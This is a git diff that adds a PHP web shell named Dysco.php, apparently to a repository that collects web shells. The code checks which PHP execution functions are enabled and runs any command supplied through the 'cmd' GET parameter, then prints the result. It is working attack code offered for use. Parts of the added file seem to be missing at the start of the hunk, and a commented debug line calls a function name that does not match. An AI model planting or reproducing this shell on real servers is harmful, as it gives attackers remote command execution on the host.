diff --git a/Web-Shells/PHP/Dysco.php b/Web-Shells/PHP/Dysco.php new file mode 100644 index 00000000..dae45f9f --- /dev/null +++ b/Web-Shells/PHP/Dysco.php @@ -0,0 +1,59 @@ +"; + foreach($f_enabled as $f) + { + echo $f." "; + } + + if($f_enabled !== ""){ + $f = $f_enabled[0]; + echo "
\nUsing ". $f. " as shell command\n
"; + + if($f == "system" || $f == "passthru"){ + // disable multiple output for system + ob_start(); + $output = $f($command, $status); + ob_clean(); + } + else if($f == "exec"){ + $f($command, $output, $status); + $output = implode("n", $output); + } + else if($f == "shell_exec"){ + $output = $f($command); + } + else{ + $output = "Command execution not possible. All supported function is disabled."; + $status = 1; + } + + } + + return array('output' => $output , 'status' => $status); +} + +// for HTTP GET use this. + +if(isset($_GET['cmd'])){ + $o = Dysco($_GET['cmd']); + echo $o['output']; +} + +// for debugging in local, use this + +//$o = shell_spawn('uname -a'); +//echo $o['output']; +?>